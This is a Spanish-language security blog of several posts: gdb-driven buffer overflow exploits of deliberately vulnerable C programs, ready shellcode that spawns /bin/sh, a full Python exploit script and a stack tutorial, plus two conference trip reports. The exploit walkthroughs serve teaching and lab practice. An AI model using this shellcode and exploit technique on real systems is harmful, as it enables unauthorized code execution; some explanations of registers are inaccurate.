Hace momentos, haciendo unos ejercicios, para mostrar en una charla que debo dar mañana sobre Buffer Overflow, me encontre con el siguiente ejemplo. Es un programita escrito en C, que pide dos argumentos de entrada. El primer argumento no nos permite modificar ni pisar ningún registro. Solo nos deja meter datos en el Stack. El segundo argumento nos permite modificar algunos registros bastante utiles, tales como EAX, EDX, ESI y también EBP, el cual nos puede llevar a modificar el mismo EIP! y apuntarlo a donde nosotros desiemos, como puede ser nuestra shellcode.

Código de fuentes

#include <stdio.h>
#include <string.h>

fvuln(char *temp1, char *temp2)
{
   char name[512];
   strcpy(name, temp2);
   printf("Hello, %s %s\n", temp1, name);
}

int main(int argc, char *argv[])
{
   fvuln(argv[1],argv[2]);
   printf("Bye %s %s\n", argv[1], argv[2]);
   return 0;
}

Como vemos, existe la funcion fvuln, la cual crea un buffer de una logitud de 512 bytes, y utiliza la función altamente vulnerable strcpy. Sobre aqui trabajaremos.

La acción

Como primer punto debemos compilar este pequeño programa utilizando gcc (yo utilizo la versión 4.4.2 – el cual no utiliza cookies, ni nada de ello).

Bien ahora solo nos queda abrir GDB (o el debugger que mas les guste), y comenzar a trabajar (tengamos en cuenta que esto esta recontra hardcodeado). Y desensamblamos main y fvuln:

(gdb) disas main
Dump of assembler code for function main:
0x08048412 :   push   ebp
0x08048413 :   mov    ebp,esp
0x08048415 :   and    esp,0xfffffff0
0x08048418 :   sub    esp,0x10
0x0804841b :   mov    eax,DWORD PTR [ebp+0xc]
0x0804841e :   add    eax,0x8
0x08048421 :   mov    edx,DWORD PTR [eax]
0x08048423 :   mov    eax,DWORD PTR [ebp+0xc]
0x08048426 :   add    eax,0x4
0x08048429 :   mov    eax,DWORD PTR [eax]
0x0804842b :   mov    DWORD PTR [esp+0x4],edx
0x0804842f :   mov    DWORD PTR [esp],eax
0x08048432 :   call   0x80483d4 
0x08048437 :   mov    eax,DWORD PTR [ebp+0xc]
0x0804843a :   add    eax,0x8
0x0804843d :   mov    ecx,DWORD PTR [eax]
0x0804843f :   mov    eax,DWORD PTR [ebp+0xc]
0x08048442 :   add    eax,0x4
0x08048445 :   mov    edx,DWORD PTR [eax]
0x08048447 :   mov    eax,0x804853e
0x0804844c :   mov    DWORD PTR [esp+0x8],ecx
0x08048450 :   mov    DWORD PTR [esp+0x4],edx
0x08048454 :   mov    DWORD PTR [esp],eax
0x08048457 :   call   0x804830c

0x0804845c :   mov    eax,0x0
0x08048461 :   leave
0x08048462 :   ret
End of assembler dump.

(gdb) disas fvuln
Dump of assembler code for function fvuln:
0x080483d4 :  push   ebp
0x080483d5 :  mov    ebp,esp
0x080483d7 :  sub    esp,0x218
0x080483dd :  mov    eax,DWORD PTR [ebp+0xc]
0x080483e0 :  mov    DWORD PTR [esp+0x4],eax
0x080483e4 :  lea    eax,[ebp-0x208]
0x080483ea :  mov    DWORD PTR [esp],eax
0x080483ed :  call   0x80482fc 
0x080483f2 :  mov    eax,0x8048530
0x080483f7 :  lea    edx,[ebp-0x208]
0x080483fd :  mov    DWORD PTR [esp+0x8],edx
0x08048401 :  mov    edx,DWORD PTR [ebp+0x8]
0x08048404 :  mov    DWORD PTR [esp+0x4],edx
0x08048408 :  mov    DWORD PTR [esp],eax
0x0804840b :  call   0x804830c

0x08048410 :  leave
0x08048411 :  ret
End of assembler dump.
(gdb) 

Como vemos en 0x080483ed de fvuln hace un call la función strcpy, ya sabemos de que podemos vulnerarlo!.
Vamos a ejecutarlo, e intentaremos de ver que registros podemos escribir (para ahorrar tiempo les digo que a 520 caracteres el programa cae y pisa el registr que nos interesa EBP – Prueben lo que quieran, que EIP no es accesible directamente :P ).

(gdb) r `python -c 'print "\x41"*520+"\x42\x42\x42\x42"'`
Program received signal SIGSEGV, Segmentation fault.
0xb7ef72b0 in strcpy () from /lib/libc.so.6

(gdb) i r
eax            0xbfffea90       0xbfffea90
ecx            0xf78f118a       0xf78f118a
edx            0x0      0x0
ebx            0xb7fc5ff4       0xb7fc5ff4
esp            0xbfffea70       0xbfffea70
ebp            0x42424242       0x42424242
esi            0xbfffea8f       0xbfffea8f
edi            0x0      0x0
eip            0xb7ef72b0       0xb7ef72b0 
eflags         0x10246  [ PF ZF IF RF ]
cs             0x73     0x73
ss             0x7b     0x7b
ds             0x7b     0x7b
es             0x7b     0x7b
fs             0x0      0x0
gs             0x33     0x33

Como vemos directamente no podemos sobreescribir ningún registro!, a excepto de EBP.

Bien el Extended Base Pointer puede llevarnos a ganar nuestra preciada shell. Lo que sucede es que cuando se ingresa a una función (fvuln en este caso), el programa debe saber donde se encontraba anteriormente para poder continuar. Entonces ese valor se pushea al stack y se levanta como EIP al salir del mismo. Nosotros podemos pisar EBP, luego pushear al stack un EIP falso y asi lograr nuestro objetivo. Vamos a poner un breakpoint en 0x080483f2 y ejecutamos pasandole 520 “\x41″ como padding, “\x42\x42\x42\x42″ como EBP y “\xff\xff\xff\xff” como EIP falso.Veamos que sucede:

(gdb) break *0x080483f2
Breakpoint 1 at 0x80483f2
(gdb) r a `python -c 'print "\x41"*520+"\x42\x42\x42\x42"+"\xff\xff\xff\xff"'`
(gdb) s
Single stepping until exit from function fvuln,
which has no line number information.
Hello, e/tty0/Security/Insecure-Programming/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����

Program received signal SIGSEGV, Segmentation fault.
0xffffffff:     Error while running hook_stop:
Cannot access memory at address 0xffffffff
0xffffffff in ?? ()
(gdb) i r
eax            0x243    0x243
ecx            0xbfffea58       0xbfffea58
edx            0xb7fc7320       0xb7fc7320
ebx            0xb7fc5ff4       0xb7fc5ff4
esp            0xbfffec90       0xbfffec90
ebp            0x42424242       0x42424242
esi            0x0      0x0
edi            0x0      0x0
eip            0xffffffff       0xffffffff
eflags         0x10292  [ AF SF IF RF ]
cs             0x73     0x73
ss             0x7b     0x7b
ds             0x7b     0x7b
es             0x7b     0x7b
fs             0x0      0x0
gs             0x33     0x33

Si prestan atención, habrán notado el siguiente mensaje: Cannot access memory at address 0xffffffff por lo cual quiere decir, que en algún momento el registro EIP tuvo el valor 0xffffffff que fue uno de los valores que le pasamos en el string que inyectamos. Bien!, eso era lo que buscabamos. Hagamos un backtrace para ver que es lo que hay:

(gdb) bt
#0  0xffffffff in ?? ()
#1  0xbfffef00 in ?? ()
#2  0xbfffef2d in ?? ()
#3  0x0804848b in __libc_csu_init ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)

Era como pensabamos, el EIP en algún momento apunto a 0xffffffff. La cual es una posición de memoria inexistente y combinado con el overflow hiso crashear al programa.
Veamos la memoria, a ver si encontramos alguna otra cosa interesante:

(gdb) x/700h $esp
0xbfffef10:     0x6e49  0x6573  0x7563  0x6572  0x502d  0x6f72  0x7267  0x6d61
0xbfffef20:     0x696d  0x676e  0x612f  0x6f2e  0x7475  0x6100  0x4100  0x4141
0xbfffef30:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef40:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef50:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef60:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef70:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef80:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef90:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffefa0:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141

Aqui tenemos los 0x41 (“A” en hexadecimal), que hemos pasado como padding, podriamos reemplazar estos "\x41", por unos NOPs (0x90), y poner nuestra shellcode alli, para que EIP apunte a ella y nos regale una shell. La shellcode que voy a utilizar es para Linux x86, ejecuta /bin/sh y tiene una longitud de 24 bytes. Es la siguiente:

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

Ahora que ya tenemos nuestra shellcode podemos seguir armando nuestro string. El formato que vamos a utilizar va a ser:

496 bytes de NOP + 24 bytes de Shellcode + EBP + EIP = 520 Bytes

Como vimos en el punto anterior los "\x41" comienzan a partir de la posicion 0xbfffef30. Entonces alli deberia apuntar nuestro EIP. Vamos a ejecutar y ver que sucede:

(gdb) r a `python -c 'print "\x90"*496+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" +"\x42\x42\x42\x42"+"\x30\xef\xff\xbf"'`
Hello, e/tty0/Security/Insecure-Programming/a.out ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS�ᙰ̀BBBB0���
Executing new program: /bin/bash
sh-4.0$ 

Y bien! hemos conseguido, la shell. :D La verdad esta técnica esta buena para todos aquellos casos en los cuales no podemos escribir EIP directamente, si utilizamos ASLR, podriamos bruteforcearlo metiendolo en un bucle while, hasta que en algún momento caiga donde esta nuestra shellcode. Esto va a depender del básico principio de entropia. Dependiendo de nuestra memoria virtual, entre otras cosas. Espero que les haya gustado.

Tags: , , , , , ,

HackmeetingDurante los días 10, 11 y 12 de Octubre, se realizo en la ciudad de Santiago de Chile, el Hackmeeting 2009, tuve la posibilidad de viajar y participar como disertante en el mismo, además de encontrarme con viejos y nuevos amigos del underground del Software Libre de Latinoamérica.
Debo destacar que fue una experiencia muy enrriquecedora, que disfrute en todo momento y de la que me llevo gratos recuerdos.

Partí de San Luis con destino a Santiago de Chile el día 9 de Octubre a las 3 A.M., luego atravezar la Cordillera de Los Andes y unas 9 horas de viaje, llegue a la Terminal del Sur, de Santiago de Chile, donde me encontre con Zerial a quien ya habia conocido durante la Expo 2009 en la ciudad de Mendoza.
Ni bien nos encontramos nos fuimos a la sede de las Jornadas Regionales de Software Libre donde ya se encontraban mis amigos Dererk y Lavaramano quienes habian viajado desde Buenos Aires para participar de ambos evento. Allí estuvimos en algunas charlas, y nos quedamos hasta el cierre del mismo, donde anunciarón a San Luis como sede para las próximas JRSL. Al terminar este evento, nos fuimos para un hostel junto a gacq y a Daniel Colletti con quienes compartimos dos días de Hostel.
kernelhouse234
Al siguiente dia comenzaba el Hackmeeting donde nos hicimos presentes, allí conocimos a mucha gente de distintos lugares del mundo, gente de Chile (y si, eran locales), de Bolivia y de Perú. estuve en algunas charlas y la verdad me gustaron mucho, sobre todo “Behind the enemy lines” de Dererk y “El sistema criptográfico GnuPG” por parte de Lavaramano. Algo que me gusto mucho del evento fue como integraron otros aspectos de la cultura como la música y el teatro, se destaca al obra “El asesinato de Michelle Bachelet”, la que me parecio realmente muy buena, tanto a mi como al resto de la gente. También hubo LAN Party, debates, audiovisuales, entre otros.
1c1c3c4
Respeco a mis charlas creo que estuvieron buenas, di dos, la ya clásica “Buffer Overflow for fun and pr0fit”, donde demostre como es posible realizar un ataque a un binario bajo una técnica denominada Buffer Overflow, alli hable de direcciones de memoria, arquitectura Intel x86, el depurador GDB, epilog, prolog, registros, instrucciones en ASM x86, entre otros. Esta charla se encuentra basada en el papper de Alex One (de mismo nombre), y una sorpresa, como punto para reforzar la charla anterior cree una nueva llamada “Writting a small a injectable shellcode 4 Linux” en la cual construi delante del público una shellcode la cual ejecuta el shell SH, en 28 bytes. Durante la misma tambien vimos otras shellcodes con objetivos totalmente distintos, por ejemplo una bomba fork, otra que agregaba un usuario root falso al sistema (r00t), orta que reiniciaba el sistema, y otra que simplemente te saluaba con un ya clásico “hell0 w0rld” =).

Espero poder volver al próximo Hackmeeting en el siguiente año, y seria buenisimo comenzar a organizar algo similar aquí en Argentina, por que la verdad es una muy linda experiencia que me gustaria que muchos puedan vivirla.
grupal

Tags: , , , ,

Queridos amigos!, aquí estoy nuevamente en casa, una semana despúes para contarles todo lo que paso en las Jornadas del Sur, en Bahia Blanca!. Primero que nada quiero agradecerles a todos los chicos de la organización, a los dos Nico’s, y a toda la gente que con mucho trabajo y sacrificio hicieron posible este evento, que a mi punto de vista, fue uno de los mas lindos que acudi, y que más comodo me senti. La verdad que impicable.
UniversidadMostrando

Ahora si, el relato:

Salimos con Damían Noseda desde San Luis el viernes 14 de agosto. El colectivo salio prácticamente a horario, hiso algunas cuantas paradas (Realico, Santa Rosa, entre otros lugares), y luego de 13 largas horas llegamos a Bahia Blanca, fuimos hasta el Hotel Muniz, donde hicimos el checkin, dejamos nuestro equipaje, y fuimos hacia la Universidad del Sur, donde ya hacia unas horas habia comenzado el evento. Al llegar fuimos muy bien recividos, nos acreditamos e inmediatamente me encontre con mis amigos Diego Accorinti (animaCCo), egrub, Ezequiel Aranda, Maria Elena Casañas, Pablo de Napolí  y muchos mas.

La primera charla a la que asisti fue a la de Diego, titulada: ‘Diseño web con herramientas libres‘, la verdad que buenisima, además de tocarme hacer de fotografó personal de Diego y filarlo durante su charla. Me gusto mucho la charla, sencilla, bien orientada al diseño web, y demostrando que con la utilización de software libre es posible cumplir con las necesidades de cualquier programador y/o diseñador web. Hablo de IDE’s, frameworks, HTML/HTML 5, librerías JavaScript, gestores de contenidos.

Al ratito se vino mi charla, tal véz la más técnica que di en mi vida, titulada ‘Buffer Overflow – Smashing the stack‘, no me convencio mucho como salio la charla, pero la concurrencia de público fue genial, tenia tal vez 60 o 70 personas escuchando mi humilde ponencia.

ABO-1-GDBgrosos

Arranque explicando un poquito la arquitectura Intel x86, hable sobre rings de ejecución, llamadas al sistema, organización de la memoria con sus debidas secciones (.text, .data, .heap, stack, etc), paginación y marcos de página, Assembler x86, para por ultimo abordar de lleno el objetivo de la charla, la explatación de buffers overflow sobre GNU/Linux. Hise un simple ejemplo de buffer overflow, para luego comenzar a explicar sobre shellcodes y como escribirlas, mostre algunas de ellas. Como segundo punto mostre otro pequeño ejemplo de buffer overflow, para ejecutar un exploit que realize con el lenguaje Python.
Cuando ya me habia enchufado bastante vinieron los chicos de la organización a decirme que no tenia más tiempo, asi que termine la charla mostrando un ejemplo de unas rutinas en ensamblador que hacian un ‘kill -9 -1′ a todos mis procesos en ejecución.

Al terminar la charla, se vino un monton de gente del público a preguntarme cosas, que les pase las diapositivas y algunos pappers o ejemplos sobre programitas vulnerables a buffer overflow, la verdad que esto fue genial, y me agrado mucho que les gustara mi charla.

ASMFas

Durante el día, el social time hiso efecto, y estuve hablando y conociendo a mucha gente, casi al final me encontre con Luar y Pablo Villa que habian venido desde Uruguay.
El primer día de Jornadas se fue rápido, aunque fue bastante intenso, con un show de tango en vivo en el auditorio de la Universidad del Sur. Impecable. Por la noche quedamos en juntarnos en un bar para luego ir a bailar, pero solo un rátito, pues yo tenia charla a las 10 de la mañana y otra a las 11 de la mañana, ademas de tener muuucho sueño por el largo viaje. Esto no fue asi, fuimos a un boliche, empeze a tomar algo de alcohol, y quienes me conocen saben bien que me sucede a mi en estas situaciones, cai al hotel a las 7 de la mañana. Dormi una hora, me levante, me bañe y me fui para la universidad.

Mi segunda charla titulada ‘El interprete de comandos de Unix‘, estaba por comenzar, pero hubo un pequeño inconveniente, cuando iba para el aula, me entero de que no habia Internet, y necesitaba esto ya que iba a basar mi charla en que bajo un interprete de comandos era posible hacer lo mismo que bajo una sesión gráfica (chatear, escuchar música, navegar por la web, ver videos, etc.). Esto no pudo ser, así que en 3 minutos tuve que improvisar una charla. Esta salio bien, hable sobre syscalls, Assembler x86, mostre algunos ejemplos de Assembler como un ‘Hello World’ modificado a ‘Hola Bahia Blanca’, hable sobre NASM, Framebuffer y mostre un pequeño video de South Park en el que matan a Bill Gates, utilizando el Framebuffer, MPlayer y una tty. Termine la charla explicando sobre creación de procesos (fork, wait, quit, system). La verdad que quede conforme realmente.

Security1Comiendo-1

Ahi nomas se vino mi tercera y ultima charla, ‘Security for FreeBSD and Kernel debugging‘, esta charla me encanto, si bien es re teórica, y medio aburrida salio genial, y además fue muy similar a la que di en el BSD Day 2009, hable sobre distintos aspectos en la seguridad de un sistema FreeBSD, aunque también meti bocadillos sobre OpenBSD. Hable sobre contabilidad de procesos, OPIE y contraseñas de un solo uso, ACL’s de archivos, usuarios, grupos, permisos, para terminar hablando un poquito sobre kernel debuggng, que no pude explayar demasiado por que me quede sin tiempo. La charla como dije me gusto, se produjo un buen feedback con el público y salio barbara.

Durante el día hubo un pequeño inconveniente, que lo considero totalmente positivo entre un señor, y una charla sobre voto electroníco, que en conjunto con Luciano Bello y Leito Monk, pudimos llegar a la conclusión de que es correcto seguir pidiendo la NO implementación del voto electrónico.
TodosSecurity2

Al tercer día me levante bastante temprano, desayune mucho en el hotel y fui a la charla de Margarita Manterola, sobre el proyecto Debian, la verdad que me gusto mucho fue muy objetiva, aclaro muchas dudas, e incentivo al público a coolaborar con el proyecto Debian y como hacerlo. Ahi mismo Luciano me regalo una calco de Debian que ya esta pegada en la tapa de mi notebook!.
Por la tarde asisti a la ultima charla del evento “Aspectos de Seguridad en Linux” por Luciano Bello. La charla genial, super divertida, muy entretenida, y aprendi mucho en ella. Es una charla que nunca te aburre y da para que sea de 2 horas o más también.

El evento termino tipo 20:00 hs. donde nos fuimos a comer todos juntos, a reirnos un monton y pasarla bien.
La verdad que el evento fue impecable y espero que se repita en años próximos para poder asistir. En fin gracias a los chicos de la organización por este evento!.

Tags: , , , , , ,

Hoy por la mañana realize este vidéo en el que muestro como explotear un bug de Buffer Overflow, en un programa escrito en C vulnerable, al hacer uso de la función strcpy y por ende, no validad los datos de entrada.

El código de fuentes del programa vulnerable es:

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] ) {
        char buffer[1024];
        if ( argc != 2 ) {
                printf("Uso: %s argumenton", argv[0] );
                return( -1 );
        }

        strcpy( buffer, argv[1]);
        printf( "Argumento copiadon" );

        return(0);
}

Y la shellcode que utilize para Linux x86 (ejecuta /bin/sh – 24 bytes) es:

char shellcode[] =
"\x99"                         // cltd
"\x31\xc0"                     // xor    %eax,%eax
"\x52"                         // push   %edx
"\x68\x6e\x2f\x73\x68"         // push   $0x68732f6e
"\x68\x2f\x2f\x62\x69"         // push   $0x69622f2f
"\x89\xe3"                     // mov    %esp,%ebx
"\x52"                         // push   %edx
"\x53"                         // push   %ebx
"\x89\xe1"                     // mov    %esp,%ecx
"\xb0\x0b"                     // mov    $0xb,%al
"\xcd\x80";                    // int    $0x80

int main() {
        void (*p)();
        p = (void *)&shellcode;
        printf("Lenght: %d\n", strlen(shellcode));
        p();
}

Pueden utilizar el siguiente exploit (que escribi hace un momento en Python), para obtener el mismo resultado:

#!/usr/bin/env python
####################################################
# ABO2 Exploit |  June 06 2009                     #
# Tested on ArchLinux - Kernel 2.6.29 - i686       #
#                                                  #
# Developed by _tty0                               #
# tty0 <at> codigounix.com.ar                      #
# http://www.codigounix.com.ar/                    #
#                                                  #
# Usage: $> pyhon exploit-abo2.py binary           #
####################################################
import os
import sys
import time

class Exploit:
   """Exploit the indicate programa"""

   def __init__(self):
      if len(sys.argv) <> 2:
         print "\n[*] Usage: python exploit-abo2.py /path/binary\n"
         exit()
      else:
         self.arg2=sys.argv[1]
         # Command=/bin/sh Size=24 bytes Bind=No         
         self.shellcode = ("\x99\x31\xc0\x52\x68\x6e\x2f\x73"
                           "\x68\x68\x2f\x2f\x62\x69\x89\xe3"
                           "\x52\x53\x89\xe1\xb0\x0b\xcd\x80")                    

         self.payload  = '\x41'*1036            # Padding 0x41 (A)
         self.payload += '\x70\x9b\x99\xbf'     # Return Address -> 0xbf999b70
         self.payload += '\x90'*10000           # 0x90 (NOP) x 10000

   def loop(self):
      print "\n[+] Starting Explotation...\n"
      time.sleep(2)

      while True:
         os.system(self.arg2 + ' ' + self.payload + self.shellcode)

"""Start execution"""
if __name__ == '__main__':
   print "\n[*] "+"="*40
   print "[*] Exploit by _tty0"
   print "[*] http://wwww.codigounix.com.ar/"
   print "[*] tty0 <at> codigounix.com.ar"
   print "[*] "+"="*40

   union=Exploit()
   conector=union.loop()
exit()
# EOF

Tags: , , , , , , ,

En BlackHack.org hay un excelente papper sobre GDB vuln developement, los invito a que lo vean: http://www.blackhack.org/papers/gdbxploit.txt

Tags: , , , , , ,

Siguiendo un post que hice hace poco tiempo, sobre Buffer Overflow , me decidi a armar algo mas explicito sobre el asunto, en el cual mostrare algún otro ejemplo de como podemos ganarle una shell a un error en la comprobación del límite de las variables, en programas escritos en lenguaje C. Todo esto es a causa de que C no valida o comprueba el limite de las variables, lo cual permite sobreescribir de esta manera ciertas posiciones de memoria.
He leido mucho sobre el asunto, desde hace ya bastante tiempo y la verdad es que muchos tutoriales lo complican innecesariamente.

¿Qué Buffer Overflow?
Como dijimos anteriormente, un Buffer Overflow, es un error de programación producido cuando se copia a un array más datos de los que este puede contener.
Recordemos que el sistema operativo mantiene posiciones de memoria protegidas y otras no. Si se produce la escritura fuera de una zona de
memoria protegida se producirá una excepción del sistema de acceso a memoria seguido de la terminación del programa (SEGMENTATION FAULT).
En algunas implementaciones de C es posible corromper la pila de ejecucion (execution stack) escribiendo mas alla del fin de una cadena declarada auto en una rutina.
El codigo que hace esto posible se dice que desborda la pila (smash the stack ), y puede causar el retorno de la rutina y el salto a una direccion casual.
Esto puede producir algunos de los mas malignos bugs conocidos hasta ahora.
Existen ciertas variantes (de traduccion literal dudosa) que reciben los siguientes nombres (en ingles): trash the stack, scribble the stack, mangle the stack.

Overflow Example

Overflow Example

Algunas definiciones:
Un buffer es simplemente un bloque contiguo de memoria que mantiene multiples registros del mismo tipo de datos. Los programadores que trabajan con C normalmente lo asocian con los buffers usados en los arrays de cadena. Mas comunmente, arrays de caracteres. Los arrays, como todas las variables en C, pueden ser declaradas o bien dinamicas o bien estaticas. Las variables estaticas son cargadas en el segmento de datos en el momento de carga. Las variables dinamicas se alojan en la pila en el tiempo de ejecucion. Desbordar el buffer es como dice como se deduce de la traduccion del termino ingles, llenar por encima del limite, es decir, desbordar.

¿Que tenemos en la memoria?
Podemos distinguir tres grande aréas en la memoria, una región text, de solo lectura en la cual se almacenan las rutinas del programa en ejecución, una región data en la cual se encuentran todas aquellas variables que aún no se han inicializado y una región stack, donde nos interesaremos por las variables dinámicas, aquellas variables que ya han sido inicializadas. Si una variable no es dinámica, decimos que es una constante, pues mantiene su valor durante toda la ejecución del programa.
La memoria solo puede ser almacenada en multiplos de “word” . Por lo tanto 12 bytes ocupan 3 word.

El Stack
El stack es una región en la memoria, en la cual se almacena y se libera información, podemos decir que tiene funcionalidad dinámica.
Su nombre se refiere a que actúa como una pila, apilando en ella los elementos que van ingresando. Tiene la particularidad de permitir unicamente acceso a TOS (Top of the Stack ), esto significa que solamente podremos acceder al ultimo elemento colocada en ella, este método se llama LIFO (Last In First Out ), y es usado en muchos ambitos (no solo la informática), su contrapartida seria el FIFO (First In First Out ). Para hacer uso de este método el stack utiliza dos funciones en lenguaje ensamblador PUSH y POP . PUSH es utilizado para colocar “algo” en el stack y POP para removerlo de allí.
Si esto les complica, imaginemos al stack como a una pila de platos, si queremos agregar un nuevo plato (PUSH), lo agregamos arriba del todo (TOS), y si queremos retirar algún plato de mas abajo (POP), debemos retirar primero todos los platos superiores.
Las dimensiones del stack son ajustadas dinámicamente por el kernel (aleatoriamente o no). En la arquitectura x86 de Intel, el Stack crece desde las posiciones mas altas de memoria hacia las mas bajas.
Veamos un ejemplo sobre el funcionamiento del Stack:

En Lenguaje C:

*/ Ejemplo 1.c*/
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
    function(1,2,3);
}

En Ensamblador:

pushl $3
pushl $2
pushl $1
call function

Los registros:
Los registros son estructuras internas del CPU utilizados para comunicar a la memoría directamente con la UAL (Unidad Aritmético Logica) del CPU y tienen una longitud de entre 32 a 16 bits.
Pueden almacenar de a un “word” por vez, por lo cual al recibir un nuevo valor, pierde el que contenia.

Existen cuatro tipos de registros :

  • Registros generales
  • Registros de segmentos
  • Registros de offset
  • Otros registros

Los registros generales son utilizados para la manipulación de datos, un registro general de 32 bits que se subdivide en dos registros de 16 bits (AX) y estos en registros de 8 bits (AH y AL).
Ejemplos de registros generales son EAX, EBX, ECX, entre otros.
Por ejemplo EAX se utiliza para situar el resultado de operaciones aritméticas como DIV o MUL.

Los registros de segmentos contienen la primera parte de una dirección de memoria, aquí encontramos a CS que es el registro del segmento de la dirección de memoria que esta actualmente en ejecución, la dirección completa se encuentra en CS:ESP.
DS que es un registro de datos y SS que es el registro de pila, por lo cual podemos deducir que la pila se encuentra en SS:ESP.

Por su parte los registros de offset indican un offset relacionado con los registros de segmento. Aquí aparecen registros muy importantes como EIP (Extended Instruction Pointer ), este registro mantiene la próxima dirección de memoria a ser ejecutada. Por ejemplo si contiene el valor 0xFFFFFF significa que en la próxima instrucción a ejecutar se encuentra en 0xFFFFFF.
Por su parte el registro EBP (Extended Base Pointer ), mantiene el inicio local para una función.El registro EDI (Extended Source Index ) Contiene el offset de los datos de Destino de datos en una operación que se usa un bloque de memoria.
Y por ultimo encontramos otro (no menos importante) registro, este es ESP (Extended Stack Pointer ), quien conoce cual es la cima del stack de ejecución.

The GDB Debugger

The GDB Debugger

El codigo en teoría es secuencial (instrucciones no separadas por mas de un byte de distancia), una instrucción tras otra, pero la realidad dice que el código puede bifurcarse, (hacer un jmp), cuando esto sucede, nos preguntamos ¿como hace para acordarse donde estaba?, es muy simple el registro EIP se copia en el registro EDX, para de esta forma, tener “registro” de donde se encontraba antes del jump.
Para que un programa se pueda ejecutar posiblemente deba cargar variables locales y paramétros dentro de una función aquí aparece un puntero muy conocido FP (Frame Pointer ), que se utiliza en conjunto con el registro EBP.

Al llamar a una función:
1.Guardar valor FP, para ser restaurado al fin.
2.Copiar SP dentro de FP, creando nuevo FP.
3.Crear espacio en el stack para reserver memoria para las variables locales.

A este procedimiento se le denomina PROCEDURE LOG (o PROLOG), veamoslo en lenguaje Ensamblador:

push $ebp
mov $esp $ebp
push {valor}, $esp

Por su lado contrario la salida de una función es conocida como PROCEDURE EPILOG (o simplemente EPILOG), que en Ensamblador seria:

leave
ret

Shellcodes:
Una shellcode es un conjunto de ordenes programadas generalmente en lenguaje Ensamblador (o traducido a este).
Esta se inyecta en el stack, para conseguir que la maquina residente ejecute la operación
que se halla programado. Una shellcode debe ser corta, la mas corta conocida actualmente es de 22 bytes.
En el siguiente ejemplo lo que se realiza es una llamadas al sistema con execve, la cual llama al contenido de name[0] que no es otra cosa que la cadena /bin/sh.

#include <stdio.h>
void main() {
   char *name[2];
   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}

Linux pasa sus argumentos a las llamadas a través de registros y usa interrupciones por software para pasar al kernel mode.

EJEMPLO PRACTICO
Como en el ejemplo anterior, aquí vamos a utilizar la memoria sin randomizar, esto significa que el stack no sera aleatorio y se encontrara siempre en el mismo lugar.
Configuramos esto utilizando el comando sysctl, el cual contiene una larga lista de directivas que podemos pasarle a nuestro kernel asignandole valores booleanos (0 y 1 / True, False). Nosotros lo desactivamos de la siguiente manera:

#: sysctl kernel.randomize_va_space=0

Este es el código de fuentes (ANSI C) de nuestro ejemplo:

/* abo1.c                                       *
* specially crafted to feed your brain by gera */
/* Dumb example to let you get introduced...    */
int main(int argv,char **argc) {
    char buf[256];
    strcpy(buf,argc[1]);
}
Y durante la compilación del código de fuentes, que haremos con GCC (The GNU Compiler Collection ), utilizaremos el paramétro -fno-stack-protector. Lo compilamos de la siguiente manera y lo ejecutamos:
#: gcc -fno-stack-protector abo1.c -o abo1 #: ./abo1
Si vemos la variable buf, contiene un límite de 256 bytes, por lo tanto si pasamos mas de 255 bytes de entrada para esta variable producira un fallo de segmentación o segmentation fault, que es lo que nosotros buscamos. Vamos a probarlo:
#: ./abo1 `python -c 'print "\x41"*256'` segmentation fault  ./abo1 `python -c 'print "\x41"*256'`
Lo que hicimos es pasarle por medio del interprete Python, 256 veces, el valor hexadecimal de la letra A (si x41 en hexa es A mayúsculas, en minúsculas es x61). Lo que sucedio aquí es que hemos producido un overflow, y el programa tiro un error que como dijimos se llama segmentation fault. Si vemos el log /var/log/messages encontraremos algo como lo siguiente:
#: tail /var/log/messages Mar  2 10:54:14 kernel: abo1[3089]: segfault at 41414141 ip 41414141 sp bffff400 error 4
Y vemos repetido varias veces el valor 41, =), lo que nosotros hemos pasado como argumento!. Bien ahora utilizaremos GDB (The GNU Debugger), una herramienta maravillosa para depurar nuestras aplicaciones. En el shell hacemos:
#: gdb abo1 GNU gdb 6.8-debian This GDB was configured as "i486-linux-gnu"... (gdb)
